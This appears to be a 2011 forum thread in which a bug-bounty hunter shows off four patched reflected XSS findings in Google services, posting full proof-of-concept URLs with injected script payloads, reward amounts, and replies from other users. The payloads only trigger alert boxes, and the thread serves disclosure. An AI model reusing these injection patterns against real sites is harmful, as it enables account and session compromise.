Google Image XSS
Screenshot:
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/GoogleXSS.jpg[/IMG]
Link:
Code www.google.com/search?q=google&hl=en&gbv=2&biw=1024&bih=664&noj=1&tbs=isz:ex,iszw:"><script>alert("XSS by elvin") ;</script>,iszh:"><script>alert("XSS by elvin") ;</script>&tbm=isch&source=lnt&sa=X&ei=9NSxTpLhEIGaiQfDrsDLAg&ved=0CBIQpwUoBQ
Fixed
Reward: $500
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/GoogleImageEmail.jpg[/IMG]
Google Fusion Table XSS
Screenshot:
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/GoogleFusionTableXSS.jpg[/IMG]
Link:
Code www.google.com/fusiontables/DataSource?dsrcid=2257355"><script>alert("XSS by elvinguitar") ;</script>
Fixed
Reward: $1000
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/GoogleFusionTableEmail.jpg[/IMG]
Google Voice XSS
Screenshot:
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/GoogleVoice1.jpg[/IMG]
Link:
Code https://www.google.com/voice/rates?p=%27%29;alert%28%22XSS%20by%20elvinguitar%22%29%20;%3C/script%3E
Fixed
Reward: $1000
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/Capture-1.jpg[/IMG]
Google Search XSS
Screenshot:
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/ph.jpg[/IMG]
Link:
Code http://www.google.com.ph/support/jobs/bin/search.py?ctx=en%3Asearchbox&query=%3C%00script%3E%3Cscript%3Ealert%28%22XSS%20by%20elvinguitar%22%29%3C/script%3E
Fixed
Reward: $500
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/Capture-2.jpg[/IMG]
I just want to show my achievements that's why this thread was created. No flaming. 🙂
Sorry for the very late upload in Google Search XSS. Hehe. ✌
awesome dude keep it up and enjoy the money
DO NOT DEAL WITH THIS MEMBER
Holy crap, you're rich. xD
Anyways, nice finds! Congrats.
Good job with the Xss im on the hall of fame to :) i'm getting $3,000 from Google in total
Are you shitting me your a damn god never seen anyone find 2 exploits before!:)
(Dec 14, 2011 09:22 PM)The Ion Wrote: awesome dude keep it up and enjoy the money
thanks mate! 🙂 Belmin Vehabovic (~!White!~) has more Google XSS than me. I'm sure he has earned a lot. By the way, I still have one XSS and google security team is now fixing it. 🙂
(Dec 14, 2011 09:24 PM)elvinguitar Wrote: thanks mate! 🙂 Belmin Vehabovic (~!White!~) has more Google XSS than me. I'm sure he has earned a lot. By the way, I still have one XSS and google security team is now fixing it. 🙂
very nice then enjoy your day and fame
(Dec 14, 2011 09:23 PM)~!White!~ Wrote: Good job with the Xss im on the hall of fame to :) i'm getting $3,000 from Google in total
I know you'll earn more than me mate! 🙂 By the way, I'm always looking at your twitter page and I'm always want to keep updated of the xss you've found.
Awesome find and rewards mate.
Im Jelly !
(Dec 14, 2011 09:25 PM)elvinguitar Wrote: I know you'll earn more than me mate! 🙂 By the way, I'm always looking at your twitter page and I'm always want to keep updated of the xss you've found.
Ah great... !!!
This is why hacker are problem solver. And defacer are lam lol.
(Dec 15, 2011 01:05 AM)1n54n3 Wrote: Awesome find and rewards mate.
Im Jelly !
Thanks you mate. 🙂 maybe you're jelly at this point in time. but if you will now start looking for xss, maybe you'll earn more than me. 😉
(Dec 15, 2011 01:10 AM)EIP Wrote: Ah great... !!!
This is why hacker are problem solver. And defacer are lam lol.
Honestly, i'm quite jelly to ~!White!~ because he always find xss on big companies. and every time he tweeted a new xss, i have this in mind "I needed to work hard and find one also." 😁
Wow nice finds man i hope i find big ones like this :D
Keep it up :)
nice work buddy ;) good luck with your next finding :)
thanks to both of you guys. 🙂 as of now, it's really difficult to find new xss in google. But wish me luck. ;)
Nice work.
Some told me that the main search is not vulnerable. 🤫
|
